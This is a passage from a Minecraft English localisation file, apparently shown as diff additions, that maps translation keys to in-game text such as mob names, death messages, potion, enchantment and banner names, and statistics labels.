"entity.minecraft.villager.fletcher": "Fletcher", + "entity.minecraft.villager.leatherworker": "Leatherworker", + "entity.minecraft.villager.librarian": "Librarian", + "entity.minecraft.villager.mason": "Mason", + "entity.minecraft.villager.none": "Villager", + "entity.minecraft.villager.nitwit": "Nitwit", + "entity.minecraft.villager.shepherd": "Shepherd", + "entity.minecraft.villager.toolsmith": "Toolsmith", + "entity.minecraft.villager.weaponsmith": "Weaponsmith", + "entity.minecraft.villager": "Villager", + "entity.minecraft.wandering_trader": "Wandering Trader", + "entity.minecraft.iron_golem": "Iron Golem", + "entity.minecraft.vindicator": "Vindicator", + "entity.minecraft.witch": "Witch", + "entity.minecraft.wither": "Wither", + "entity.minecraft.wither_skeleton": "Wither Skeleton", + "entity.minecraft.wither_skull": "Wither Skull", + "entity.minecraft.wolf": "Wolf", + "entity.minecraft.experience_bottle": "Thrown Bottle o' Enchanting", + "entity.minecraft.experience_orb": "Experience Orb", + "entity.minecraft.zoglin": "Zoglin", + "entity.minecraft.zombie": "Zombie", + "entity.minecraft.zombie_horse": "Zombie Horse", + "entity.minecraft.zombified_piglin": "Zombified Piglin", + "entity.minecraft.zombie_villager": "Zombie Villager", + "death.fell.accident.ladder": "%1$s fell off a ladder", + "death.fell.accident.vines": "%1$s fell off some vines", + "death.fell.accident.weeping_vines": "%1$s fell off some weeping vines", + "death.fell.accident.twisting_vines": "%1$s fell off some twisting vines", + "death.fell.accident.scaffolding": "%1$s fell off scaffolding", + "death.fell.accident.other_climbable": "%1$s fell while climbing", + "death.fell.accident.generic": "%1$s fell from a high place", + "death.fell.killer": "%1$s was doomed to fall", + "death.fell.assist": "%1$s was doomed to fall by %2$s", + "death.fell.assist.item": "%1$s was doomed to fall by %2$s using %3$s", + "death.fell.finish": "%1$s fell too far and was finished by %2$s", + "death.fell.finish.item": "%1$s fell too far and was finished by %2$s using %3$s", + "death.attack.lightningBolt": "%1$s was struck by lightning", + "death.attack.lightningBolt.player": "%1$s was struck by lightning whilst fighting %2$s", + "death.attack.inFire": "%1$s went up in flames", + "death.attack.inFire.player": "%1$s walked into fire whilst fighting %2$s", + "death.attack.onFire": "%1$s burned to death", + "death.attack.onFire.player": "%1$s was burnt to a crisp whilst fighting %2$s", + "death.attack.lava": "%1$s tried to swim in lava", + "death.attack.lava.player": "%1$s tried to swim in lava to escape %2$s", + "death.attack.hotFloor": "%1$s discovered the floor was lava", + "death.attack.hotFloor.player": "%1$s walked into danger zone due to %2$s", + "death.attack.inWall": "%1$s suffocated in a wall", + "death.attack.inWall.player": "%1$s suffocated in a wall whilst fighting %2$s", + "death.attack.cramming": "%1$s was squished too much", + "death.attack.cramming.player": "%1$s was squashed by %2$s", + "death.attack.drown": "%1$s drowned", + "death.attack.drown.player": "%1$s drowned whilst trying to escape %2$s", + "death.attack.starve": "%1$s starved to death", + "death.attack.starve.player": "%1$s starved to death whilst fighting %2$s", + "death.attack.cactus": "%1$s was pricked to death", + "death.attack.cactus.player": "%1$s walked into a cactus whilst trying to escape %2$s", + "death.attack.generic": "%1$s died", + "death.attack.generic.player": "%1$s died because of %2$s", + "death.attack.explosion": "%1$s blew up", + "death.attack.explosion.player": "%1$s was blown up by %2$s", + "death.attack.explosion.player.item": "%1$s was blown up by %2$s using %3$s", + "death.attack.magic": "%1$s was killed by magic", + "death.attack.magic.player": "%1$s was killed by magic whilst trying to escape %2$s", + "death.attack.even_more_magic": "%1$s was killed by even more magic", + "death.attack.message_too_long": "Actually, message was too long to deliver fully. Sorry! Here's stripped version: %s", + "death.attack.wither": "%1$s withered away", + "death.attack.wither.player": "%1$s withered away whilst fighting %2$s", + "death.attack.witherSkull": "%1$s was shot by a skull from %2$s", + "death.attack.anvil": "%1$s was squashed by a falling anvil", + "death.attack.anvil.player": "%1$s was squashed by a falling anvil whilst fighting %2$s", + "death.attack.fallingBlock": "%1$s was squashed by a falling block", + "death.attack.fallingBlock.player": "%1$s was squashed by a falling block whilst fighting %2$s", + "death.attack.mob": "%1$s was slain by %2$s", + "death.attack.mob.item": "%1$s was slain by %2$s using %3$s", + "death.attack.player": "%1$s was slain by %2$s", + "death.attack.player.item": "%1$s was slain by %2$s using %3$s", + "death.attack.arrow": "%1$s was shot by %2$s", + "death.attack.arrow.item": "%1$s was shot by %2$s using %3$s", + "death.attack.fireball": "%1$s was fireballed by %2$s", + "death.attack.fireball.item": "%1$s was fireballed by %2$s using %3$s", + "death.attack.thrown": "%1$s was pummeled by %2$s", + "death.attack.thrown.item": "%1$s was pummeled by %2$s using %3$s", + "death.attack.indirectMagic": "%1$s was killed by %2$s using magic", + "death.attack.indirectMagic.item": "%1$s was killed by %2$s using %3$s", + "death.attack.thorns": "%1$s was killed trying to hurt %2$s", + "death.attack.thorns.item": "%1$s was killed by %3$s trying to hurt %2$s", + "death.attack.trident": "%1$s was impaled by %2$s", + "death.attack.trident.item": "%1$s was impaled by %2$s with %3$s", + "death.attack.fall": "%1$s hit the ground too hard", + "death.attack.fall.player": "%1$s hit the ground too hard whilst trying to escape %2$s", + "death.attack.outOfWorld": "%1$s fell out of the world", + "death.attack.outOfWorld.player": "%1$s didn't want to live in the same world as %2$s", + "death.attack.dragonBreath": "%1$s was roasted in dragon breath", + "death.attack.dragonBreath.player": "%1$s was roasted in dragon breath by %2$s", + "death.attack.flyIntoWall": "%1$s experienced kinetic energy", + "death.attack.flyIntoWall.player": "%1$s experienced kinetic energy whilst trying to escape %2$s", + "death.attack.fireworks": "%1$s went off with a bang", + "death.attack.fireworks.player": "%1$s went off with a bang whilst fighting %2$s", + "death.attack.fireworks.item": "%1$s went off with a bang due to a firework fired from %3$s by %2$s", + "death.attack.badRespawnPoint.message": "%1$s was killed by %2$s", + "death.attack.badRespawnPoint.link": "Intentional Game Design", + "death.attack.sweetBerryBush": "%1$s was poked to death by a sweet berry bush", + "death.attack.sweetBerryBush.player": "%1$s was poked to death by a sweet berry bush whilst trying to escape %2$s", + "death.attack.sting": "%1$s was stung to death", + "death.attack.sting.player": "%1$s was stung to death by %2$s", + "deathScreen.respawn": "Respawn", + "deathScreen.spectate": "Spectate World", + "deathScreen.titleScreen": "Title Screen", + "deathScreen.score": "Score", + "deathScreen.title.hardcore": "Game Over!", + "deathScreen.title": "You Died!", + "deathScreen.quit.confirm": "Are you sure you want to quit?", + "effect.none": "No Effects", + "effect.minecraft.speed": "Speed", + "effect.minecraft.slowness": "Slowness", + "effect.minecraft.haste": "Haste", + "effect.minecraft.mining_fatigue": "Mining Fatigue", + "effect.minecraft.strength": "Strength", + "effect.minecraft.instant_health": "Instant Health", + "effect.minecraft.instant_damage": "Instant Damage", + "effect.minecraft.jump_boost": "Jump Boost", + "effect.minecraft.nausea": "Nausea", + "effect.minecraft.regeneration": "Regeneration", + "effect.minecraft.resistance": "Resistance", + "effect.minecraft.fire_resistance": "Fire Resistance", + "effect.minecraft.water_breathing": "Water Breathing", + "effect.minecraft.invisibility": "Invisibility", + "effect.minecraft.blindness": "Blindness", + "effect.minecraft.night_vision": "Night Vision", + "effect.minecraft.hunger": "Hunger", + "effect.minecraft.weakness": "Weakness", + "effect.minecraft.poison": "Poison", + "effect.minecraft.wither": "Wither", + "effect.minecraft.health_boost": "Health Boost", + "effect.minecraft.absorption": "Absorption", + "effect.minecraft.saturation": "Saturation", + "effect.minecraft.glowing": "Glowing", + "effect.minecraft.luck": "Luck", + "effect.minecraft.unluck": "Bad Luck", + "effect.minecraft.levitation": "Levitation", + "effect.minecraft.slow_falling": "Slow Falling", + "effect.minecraft.conduit_power": "Conduit Power", + "effect.minecraft.dolphins_grace": "Dolphin's Grace", + "effect.minecraft.bad_omen": "Bad Omen", + "effect.minecraft.hero_of_the_village": "Hero of the Village", + "event.minecraft.raid": "Raid", + "event.minecraft.raid.raiders_remaining": "Raiders Remaining: %s", + "event.minecraft.raid.victory": "Victory", + "event.minecraft.raid.defeat": "Defeat", + "item.minecraft.tipped_arrow.effect.empty": "Uncraftable Tipped Arrow", + "item.minecraft.tipped_arrow.effect.water": "Arrow of Splashing", + "item.minecraft.tipped_arrow.effect.mundane": "Tipped Arrow", + "item.minecraft.tipped_arrow.effect.thick": "Tipped Arrow", + "item.minecraft.tipped_arrow.effect.awkward": "Tipped Arrow", + "item.minecraft.tipped_arrow.effect.night_vision": "Arrow of Night Vision", + "item.minecraft.tipped_arrow.effect.invisibility": "Arrow of Invisibility", + "item.minecraft.tipped_arrow.effect.leaping": "Arrow of Leaping", + "item.minecraft.tipped_arrow.effect.fire_resistance": "Arrow of Fire Resistance", + "item.minecraft.tipped_arrow.effect.swiftness": "Arrow of Swiftness", + "item.minecraft.tipped_arrow.effect.slowness": "Arrow of Slowness", + "item.minecraft.tipped_arrow.effect.water_breathing": "Arrow of Water Breathing", + "item.minecraft.tipped_arrow.effect.healing": "Arrow of Healing", + "item.minecraft.tipped_arrow.effect.harming": "Arrow of Harming", + "item.minecraft.tipped_arrow.effect.poison": "Arrow of Poison", + "item.minecraft.tipped_arrow.effect.regeneration": "Arrow of Regeneration", + "item.minecraft.tipped_arrow.effect.strength": "Arrow of Strength", + "item.minecraft.tipped_arrow.effect.weakness": "Arrow of Weakness", + "item.minecraft.tipped_arrow.effect.levitation": "Arrow of Levitation", + "item.minecraft.tipped_arrow.effect.luck": "Arrow of Luck", + "item.minecraft.tipped_arrow.effect.turtle_master": "Arrow of the Turtle Master", + "item.minecraft.tipped_arrow.effect.slow_falling": "Arrow of Slow Falling", + "potion.whenDrank": "When Applied:", + "potion.withAmplifier": "%s %s", + "potion.withDuration": "%s (%s)", + "item.minecraft.potion.effect.empty": "Uncraftable Potion", + "item.minecraft.potion.effect.water": "Water Bottle", + "item.minecraft.potion.effect.mundane": "Mundane Potion", + "item.minecraft.potion.effect.thick": "Thick Potion", + "item.minecraft.potion.effect.awkward": "Awkward Potion", + "item.minecraft.potion.effect.night_vision": "Potion of Night Vision", + "item.minecraft.potion.effect.invisibility": "Potion of Invisibility", + "item.minecraft.potion.effect.leaping": "Potion of Leaping", + "item.minecraft.potion.effect.fire_resistance": "Potion of Fire Resistance", + "item.minecraft.potion.effect.swiftness": "Potion of Swiftness", + "item.minecraft.potion.effect.slowness": "Potion of Slowness", + "item.minecraft.potion.effect.water_breathing": "Potion of Water Breathing", + "item.minecraft.potion.effect.healing": "Potion of Healing", + "item.minecraft.potion.effect.harming": "Potion of Harming", + "item.minecraft.potion.effect.poison": "Potion of Poison", + "item.minecraft.potion.effect.regeneration": "Potion of Regeneration", + "item.minecraft.potion.effect.strength": "Potion of Strength", + "item.minecraft.potion.effect.weakness": "Potion of Weakness", + "item.minecraft.potion.effect.levitation": "Potion of Levitation", + "item.minecraft.potion.effect.luck": "Potion of Luck", + "item.minecraft.potion.effect.turtle_master": "Potion of the Turtle Master", + "item.minecraft.potion.effect.slow_falling": "Potion of Slow Falling", + "item.minecraft.splash_potion.effect.empty": "Splash Uncraftable Potion", + "item.minecraft.splash_potion.effect.water": "Splash Water Bottle", + "item.minecraft.splash_potion.effect.mundane": "Mundane Splash Potion", + "item.minecraft.splash_potion.effect.thick": "Thick Splash Potion", + "item.minecraft.splash_potion.effect.awkward": "Awkward Splash Potion", + "item.minecraft.splash_potion.effect.night_vision": "Splash Potion of Night Vision", + "item.minecraft.splash_potion.effect.invisibility": "Splash Potion of Invisibility", + "item.minecraft.splash_potion.effect.leaping": "Splash Potion of Leaping", + "item.minecraft.splash_potion.effect.fire_resistance": "Splash Potion of Fire Resistance", + "item.minecraft.splash_potion.effect.swiftness": "Splash Potion of Swiftness", + "item.minecraft.splash_potion.effect.slowness": "Splash Potion of Slowness", + "item.minecraft.splash_potion.effect.water_breathing": "Splash Potion of Water Breathing", + "item.minecraft.splash_potion.effect.healing": "Splash Potion of Healing", + "item.minecraft.splash_potion.effect.harming": "Splash Potion of Harming", + "item.minecraft.splash_potion.effect.poison": "Splash Potion of Poison", + "item.minecraft.splash_potion.effect.regeneration": "Splash Potion of Regeneration", + "item.minecraft.splash_potion.effect.strength": "Splash Potion of Strength", + "item.minecraft.splash_potion.effect.weakness": "Splash Potion of Weakness", + "item.minecraft.splash_potion.effect.levitation": "Splash Potion of Levitation", + "item.minecraft.splash_potion.effect.luck": "Splash Potion of Luck", + "item.minecraft.splash_potion.effect.turtle_master": "Splash Potion of the Turtle Master", + "item.minecraft.splash_potion.effect.slow_falling": "Splash Potion of Slow Falling", + "item.minecraft.lingering_potion.effect.empty": "Lingering Uncraftable Potion", + "item.minecraft.lingering_potion.effect.water": "Lingering Water Bottle", + "item.minecraft.lingering_potion.effect.mundane": "Mundane Lingering Potion", + "item.minecraft.lingering_potion.effect.thick": "Thick Lingering Potion", + "item.minecraft.lingering_potion.effect.awkward": "Awkward Lingering Potion", + "item.minecraft.lingering_potion.effect.night_vision": "Lingering Potion of Night Vision", + "item.minecraft.lingering_potion.effect.invisibility": "Lingering Potion of Invisibility", + "item.minecraft.lingering_potion.effect.leaping": "Lingering Potion of Leaping", + "item.minecraft.lingering_potion.effect.fire_resistance": "Lingering Potion of Fire Resistance", + "item.minecraft.lingering_potion.effect.swiftness": "Lingering Potion of Swiftness", + "item.minecraft.lingering_potion.effect.slowness": "Lingering Potion of Slowness", + "item.minecraft.lingering_potion.effect.water_breathing": "Lingering Potion of Water Breathing", + "item.minecraft.lingering_potion.effect.healing": "Lingering Potion of Healing", + "item.minecraft.lingering_potion.effect.harming": "Lingering Potion of Harming", + "item.minecraft.lingering_potion.effect.poison": "Lingering Potion of Poison", + "item.minecraft.lingering_potion.effect.regeneration": "Lingering Potion of Regeneration", + "item.minecraft.lingering_potion.effect.strength": "Lingering Potion of Strength", + "item.minecraft.lingering_potion.effect.weakness": "Lingering Potion of Weakness", + "item.minecraft.lingering_potion.effect.levitation": "Lingering Potion of Levitation", + "item.minecraft.lingering_potion.effect.luck": "Lingering Potion of Luck", + "item.minecraft.lingering_potion.effect.turtle_master": "Lingering Potion of the Turtle Master", + "item.minecraft.lingering_potion.effect.slow_falling": "Lingering Potion of Slow Falling", + "potion.potency.0": "", + "potion.potency.1": "II", + "potion.potency.2": "III", + "potion.potency.3": "IV", + "potion.potency.4": "V", + "potion.potency.5": "VI", + "enchantment.minecraft.sharpness": "Sharpness", + "enchantment.minecraft.smite": "Smite", + "enchantment.minecraft.bane_of_arthropods": "Bane of Arthropods", + "enchantment.minecraft.knockback": "Knockback", + "enchantment.minecraft.fire_aspect": "Fire Aspect", + "enchantment.minecraft.sweeping": "Sweeping Edge", + "enchantment.minecraft.protection": "Protection", + "enchantment.minecraft.fire_protection": "Fire Protection", + "enchantment.minecraft.feather_falling": "Feather Falling", + "enchantment.minecraft.blast_protection": "Blast Protection", + "enchantment.minecraft.projectile_protection": "Projectile Protection", + "enchantment.minecraft.respiration": "Respiration", + "enchantment.minecraft.aqua_affinity": "Aqua Affinity", + "enchantment.minecraft.depth_strider": "Depth Strider", + "enchantment.minecraft.frost_walker": "Frost Walker", + "enchantment.minecraft.soul_speed": "Soul Speed", + "enchantment.minecraft.efficiency": "Efficiency", + "enchantment.minecraft.silk_touch": "Silk Touch", + "enchantment.minecraft.unbreaking": "Unbreaking", + "enchantment.minecraft.looting": "Looting", + "enchantment.minecraft.fortune": "Fortune", + "enchantment.minecraft.luck_of_the_sea": "Luck of the Sea", + "enchantment.minecraft.lure": "Lure", + "enchantment.minecraft.power": "Power", + "enchantment.minecraft.flame": "Flame", + "enchantment.minecraft.punch": "Punch", + "enchantment.minecraft.infinity": "Infinity", + "enchantment.minecraft.thorns": "Thorns", + "enchantment.minecraft.mending": "Mending", + "enchantment.minecraft.binding_curse": "Curse of Binding", + "enchantment.minecraft.vanishing_curse": "Curse of Vanishing", + "enchantment.minecraft.loyalty": "Loyalty", + "enchantment.minecraft.impaling": "Impaling", + "enchantment.minecraft.riptide": "Riptide", + "enchantment.minecraft.channeling": "Channeling", + "enchantment.minecraft.multishot": "Multishot", + "enchantment.minecraft.quick_charge": "Quick Charge", + "enchantment.minecraft.piercing": "Piercing", + "enchantment.level.1": "I", + "enchantment.level.2": "II", + "enchantment.level.3": "III", + "enchantment.level.4": "IV", + "enchantment.level.5": "V", + "enchantment.level.6": "VI", + "enchantment.level.7": "VII", + "enchantment.level.8": "VIII", + "enchantment.level.9": "IX", + "enchantment.level.10": "X", + "gui.advancements": "Advancements", + "gui.stats": "Statistics", + "gui.entity_tooltip.type": "Type: %s", + "advancements.empty": "There doesn't seem to be anything here...", + "advancements.sad_label": ":(", + "advancements.toast.task": "Advancement Made!", + "advancements.toast.challenge": "Challenge Complete!", + "advancements.toast.goal": "Goal Reached!", + "stats.tooltip.type.statistic": "Statistic", + "stat.generalButton": "General", + "stat.itemsButton": "Items", + "stat.mobsButton": "Mobs", + "stat_type.minecraft.mined": "Times Mined", + "stat_type.minecraft.crafted": "Times Crafted", + "stat_type.minecraft.used": "Times Used", + "stat_type.minecraft.broken": "Times Broken", + "stat_type.minecraft.picked_up": "Picked Up", + "stat_type.minecraft.dropped": "Dropped", + "stat_type.minecraft.killed": "You killed %s %s", + "stat_type.minecraft.killed.none": "You have never killed %s", + "stat_type.minecraft.killed_by": "%s killed you %s time(s)", + "stat_type.minecraft.killed_by.none": "You have never been killed by %s", + "stat.minecraft.animals_bred": "Animals Bred", + "stat.minecraft.aviate_one_cm": "Distance by Elytra", + "stat.minecraft.clean_armor": "Armor Pieces Cleaned", + "stat.minecraft.clean_banner": "Banners Cleaned", + "stat.minecraft.clean_shulker_box": "Shulker Boxes Cleaned", + "stat.minecraft.climb_one_cm": "Distance Climbed", + "stat.minecraft.bell_ring": "Bells Rung", + "stat.minecraft.target_hit": "Targets Hit", + "stat.minecraft.boat_one_cm": "Distance by Boat", + "stat.minecraft.crouch_one_cm": "Distance Crouched", + "stat.minecraft.damage_dealt": "Damage Dealt", + "stat.minecraft.damage_dealt_absorbed": "Damage Dealt (Absorbed)", + "stat.minecraft.damage_dealt_resisted": "Damage Dealt (Resisted)", + "stat.minecraft.damage_taken": "Damage Taken", + "stat.minecraft.damage_blocked_by_shield": "Damage Blocked by Shield", + "stat.minecraft.damage_absorbed": "Damage Absorbed", + "stat.minecraft.damage_resisted": "Damage Resisted", + "stat.minecraft.deaths": "Number of Deaths", + "stat.minecraft.walk_under_water_one_cm": "Distance Walked under Water", + "stat.minecraft.drop": "Items Dropped", + "stat.minecraft.eat_cake_slice": "Cake Slices Eaten", + "stat.minecraft.enchant_item": "Items Enchanted", + "stat.minecraft.fall_one_cm": "Distance Fallen", + "stat.minecraft.fill_cauldron": "Cauldrons Filled", + "stat.minecraft.fish_caught": "Fish Caught", + "stat.minecraft.fly_one_cm": "Distance Flown", + "stat.minecraft.horse_one_cm": "Distance by Horse", + "stat.minecraft.inspect_dispenser": "Dispensers Searched", + "stat.minecraft.inspect_dropper": "Droppers Searched", + "stat.minecraft.inspect_hopper": "Hoppers Searched", + "stat.minecraft.interact_with_anvil": "Interactions with Anvil", + "stat.minecraft.interact_with_beacon": "Interactions with Beacon", + "stat.minecraft.interact_with_brewingstand": "Interactions with Brewing Stand", + "stat.minecraft.interact_with_campfire": "Interactions with Campfire", + "stat.minecraft.interact_with_cartography_table": "Interactions with Cartography Table", + "stat.minecraft.interact_with_crafting_table": "Interactions with Crafting Table", + "stat.minecraft.interact_with_furnace": "Interactions with Furnace", + "stat.minecraft.interact_with_grindstone": "Interactions with Grindstone", + "stat.minecraft.interact_with_lectern": "Interactions with Lectern", + "stat.minecraft.interact_with_loom": "Interactions with Loom", + "stat.minecraft.interact_with_blast_furnace": "Interactions with Blast Furnace", + "stat.minecraft.interact_with_smithing_table": "Interactions with Smithing Table", + "stat.minecraft.interact_with_smoker": "Interactions with Smoker", + "stat.minecraft.interact_with_stonecutter": "Interactions with Stonecutter", + "stat.minecraft.jump": "Jumps", + "stat.minecraft.junk_fished": "Junk Fished", + "stat.minecraft.leave_game": "Games Quit", + "stat.minecraft.minecart_one_cm": "Distance by Minecart", + "stat.minecraft.mob_kills": "Mob Kills", + "stat.minecraft.open_barrel": "Barrels Opened", + "stat.minecraft.open_chest": "Chests Opened", + "stat.minecraft.open_enderchest": "Ender Chests Opened", + "stat.minecraft.open_shulker_box": "Shulker Boxes Opened", + "stat.minecraft.pig_one_cm": "Distance by Pig", + "stat.minecraft.strider_one_cm": "Distance by Strider", + "stat.minecraft.player_kills": "Player Kills", + "stat.minecraft.play_noteblock": "Note Blocks Played", + "stat.minecraft.play_one_minute": "Time Played", + "stat.minecraft.play_record": "Music Discs Played", + "stat.minecraft.pot_flower": "Plants Potted", + "stat.minecraft.raid_trigger": "Raids Triggered", + "stat.minecraft.raid_win": "Raids Won", + "stat.minecraft.ring_bell": "Bells Rung", + "stat.minecraft.sleep_in_bed": "Times Slept in a Bed", + "stat.minecraft.sneak_time": "Sneak Time", + "stat.minecraft.sprint_one_cm": "Distance Sprinted", + "stat.minecraft.walk_on_water_one_cm": "Distance Walked on Water", + "stat.minecraft.swim_one_cm": "Distance Swum", + "stat.minecraft.talked_to_villager": "Talked to Villagers", + "stat.minecraft.time_since_rest": "Time Since Last Rest", + "stat.minecraft.time_since_death": "Time Since Last Death", + "stat.minecraft.traded_with_villager": "Traded with Villagers", + "stat.minecraft.treasure_fished": "Treasure Fished", + "stat.minecraft.trigger_trapped_chest": "Trapped Chests Triggered", + "stat.minecraft.tune_noteblock": "Note Blocks Tuned", + "stat.minecraft.use_cauldron": "Water Taken from Cauldron", + "stat.minecraft.walk_one_cm": "Distance Walked", + "recipe.toast.title": "New Recipes Unlocked!", + "recipe.toast.description": "Check your recipe book", + "itemGroup.buildingBlocks": "Building Blocks", + "itemGroup.decorations": "Decoration Blocks", + "itemGroup.redstone": "Redstone", + "itemGroup.transportation": "Transportation", + "itemGroup.misc": "Miscellaneous", + "itemGroup.search": "Search Items", + "itemGroup.food": "Foodstuffs", + "itemGroup.tools": "Tools", + "itemGroup.combat": "Combat", + "itemGroup.brewing": "Brewing", + "itemGroup.materials": "Materials", + "itemGroup.inventory": "Survival Inventory", + "itemGroup.hotbar": "Saved Hotbars", + "inventory.binSlot": "Destroy Item", + "inventory.hotbarSaved": "Item hotbar saved (restore with %1$s+%2$s)", + "inventory.hotbarInfo": "Save hotbar with %1$s+%2$s", + "advMode.setCommand": "Set Console Command for Block", + "advMode.setCommand.success": "Command set: %s", + "advMode.command": "Console Command", + "advMode.nearestPlayer": "Use \"@p\" to target nearest player", + "advMode.randomPlayer": "Use \"@r\" to target random player", + "advMode.allPlayers": "Use \"@a\" to target all players", + "advMode.allEntities": "Use \"@e\" to target all entities", + "advMode.self": "Use \"@s\" to target the executing entity", + "advMode.previousOutput": "Previous Output", + "advMode.mode.sequence": "Chain", + "advMode.mode.auto": "Repeat", + "advMode.mode.redstone": "Impulse", + "advMode.mode.conditional": "Conditional", + "advMode.mode.unconditional": "Unconditional", + "advMode.mode.redstoneTriggered": "Needs Redstone", + "advMode.mode.autoexec.bat": "Always Active", + "advMode.notEnabled": "Command blocks are not enabled on this server", + "advMode.notAllowed": "Must be an opped player in creative mode", + "mount.onboard": "Press %1$s to Dismount", + "build.tooHigh": "Height limit for building is %s blocks", + "item.modifiers.mainhand": "When in Main Hand:", + "item.modifiers.offhand": "When in Off Hand:", + "item.modifiers.feet": "When on Feet:", + "item.modifiers.legs": "When on Legs:", + "item.modifiers.chest": "When on Body:", + "item.modifiers.head": "When on Head:", + "attribute.unknown": "Unknown attribute", + "attribute.modifier.plus.0": "+%s %s", + "attribute.modifier.plus.1": "+%s%% %s", + "attribute.modifier.plus.2": "+%s%% %s", + "attribute.modifier.take.0": "-%s %s", + "attribute.modifier.take.1": "-%s%% %s", + "attribute.modifier.take.2": "-%s%% %s", + "attribute.modifier.equals.0": "%s %s", + "attribute.modifier.equals.1": "%s%% %s", + "attribute.modifier.equals.2": "%s%% %s", + "attribute.name.horse.jump_strength": "Horse Jump Strength", + "attribute.name.zombie.spawn_reinforcements": "Zombie Reinforcements", + "attribute.name.generic.max_health": "Max Health", + "attribute.name.generic.follow_range": "Mob Follow Range", + "attribute.name.generic.knockback_resistance": "Knockback Resistance", + "attribute.name.generic.movement_speed": "Speed", + "attribute.name.generic.flying_speed": "Flying Speed", + "attribute.name.generic.attack_damage": "Attack Damage", + "attribute.name.generic.attack_knockback": "Attack Knockback", + "attribute.name.generic.attack_speed": "Attack Speed", + "attribute.name.generic.luck": "Luck", + "attribute.name.generic.armor": "Armor", + "attribute.name.generic.armor_toughness": "Armor Toughness", + "screenshot.success": "Saved screenshot as %s", + "screenshot.failure": "Couldn't save screenshot: %s", + "block.minecraft.black_banner": "Black Banner", + "block.minecraft.red_banner": "Red Banner", + "block.minecraft.green_banner": "Green Banner", + "block.minecraft.brown_banner": "Brown Banner", + "block.minecraft.blue_banner": "Blue Banner", + "block.minecraft.purple_banner": "Purple Banner", + "block.minecraft.cyan_banner": "Cyan Banner", + "block.minecraft.light_gray_banner": "Light Gray Banner", + "block.minecraft.gray_banner": "Gray Banner", + "block.minecraft.pink_banner": "Pink Banner", + "block.minecraft.lime_banner": "Lime Banner", + "block.minecraft.yellow_banner": "Yellow Banner", + "block.minecraft.light_blue_banner": "Light Blue Banner", + "block.minecraft.magenta_banner": "Magenta Banner", + "block.minecraft.orange_banner": "Orange Banner", + "block.minecraft.white_banner": "White Banner", + "item.minecraft.shield": "Shield", + "item.minecraft.shield.black": "Black Shield", + "item.minecraft.shield.red": "Red Shield", + "item.minecraft.shield.green": "Green Shield", + "item.minecraft.shield.brown": "Brown Shield", + "item.minecraft.shield.blue": "Blue Shield", + "item.minecraft.shield.purple": "Purple Shield", + "item.minecraft.shield.cyan": "Cyan Shield", + "item.minecraft.shield.light_gray": "Light Gray Shield", + "item.minecraft.shield.gray": "Gray Shield", + "item.minecraft.shield.pink": "Pink Shield", + "item.minecraft.shield.lime": "Lime Shield", + "item.minecraft.shield.yellow": "Yellow Shield", + "item.minecraft.shield.light_blue": "Light Blue Shield", + "item.minecraft.shield.magenta": "Magenta Shield", + "item.minecraft.shield.orange": "Orange Shield", + "item.minecraft.shield.white": "White Shield", + "block.minecraft.banner.square_bottom_left.black": "Black Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.red": "Red Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.green": "Green Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.brown": "Brown Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.blue": "Blue Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.purple": "Purple Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.cyan": "Cyan Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.light_gray": "Light Gray Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.gray": "Gray Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.pink": "Pink Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.lime": "Lime Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.yellow": "Yellow Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.light_blue": "Light Blue Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.magenta": "Magenta Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.orange": "Orange Base Dexter Canton", + "block.minecraft.banner.square_bottom_left.white": "White Base Dexter Canton", + "block.minecraft.banner.square_bottom_right.black": "Black Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.red": "Red Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.green": "Green Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.brown": "Brown Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.blue": "Blue Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.purple": "Purple Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.cyan": "Cyan Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.light_gray": "Light Gray Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.gray": "Gray Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.pink": "Pink Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.lime": "Lime Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.yellow": "Yellow Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.light_blue": "Light Blue Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.magenta": "Magenta Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.orange": "Orange Base Sinister Canton", + "block.minecraft.banner.square_bottom_right.white": "White Base Sinister Canton", + "block.minecraft.banner.square_top_left.black": "Black Chief Dexter Canton", + "block.minecraft.banner.square_top_left.red": "Red Chief Dexter Canton", + "block.minecraft.banner.square_top_left.green": "Green Chief Dexter Canton", + "block.minecraft.banner.square_top_left.brown": "Brown Chief Dexter Canton", + "block.minecraft.banner.square_top_left.blue": "Blue Chief Dexter Canton", + "block.minecraft.banner.square_top_left.purple": "Purple Chief Dexter Canton", + "block.minecraft.banner.square_top_left.cyan": "Cyan Chief Dexter Canton", + "block.minecraft.banner.square_top_left.light_gray": "Light Gray Chief Dexter Canton", + "block.minecraft.banner.square_top_left.gray": "Gray Chief Dexter Canton", + "block.minecraft.banner.square_top_left.pink": "Pink Chief Dexter Canton", + "block.minecraft.banner.square_top_left.lime": "Lime Chief Dexter Canton", + "block.minecraft.banner.square_top_left.yellow": "Yellow Chief Dexter Canton", + "block.minecraft.banner.square_top_left.light_blue": "Light Blue Chief Dexter Canton", + "block.minecraft.banner.square_top_left.magenta": "Magenta Chief Dexter Canton", + "block.minecraft.banner.square_top_left.orange": "Orange Chief Dexter Canton", + "block.minecraft.banner.square_top_left.white": "White Chief Dexter Canton", + "block.minecraft.banner.square_top_right.black": "Black Chief Sinister Canton", + "block.minecraft.banner.square_top_right.red": "Red Chief Sinister Canton", + 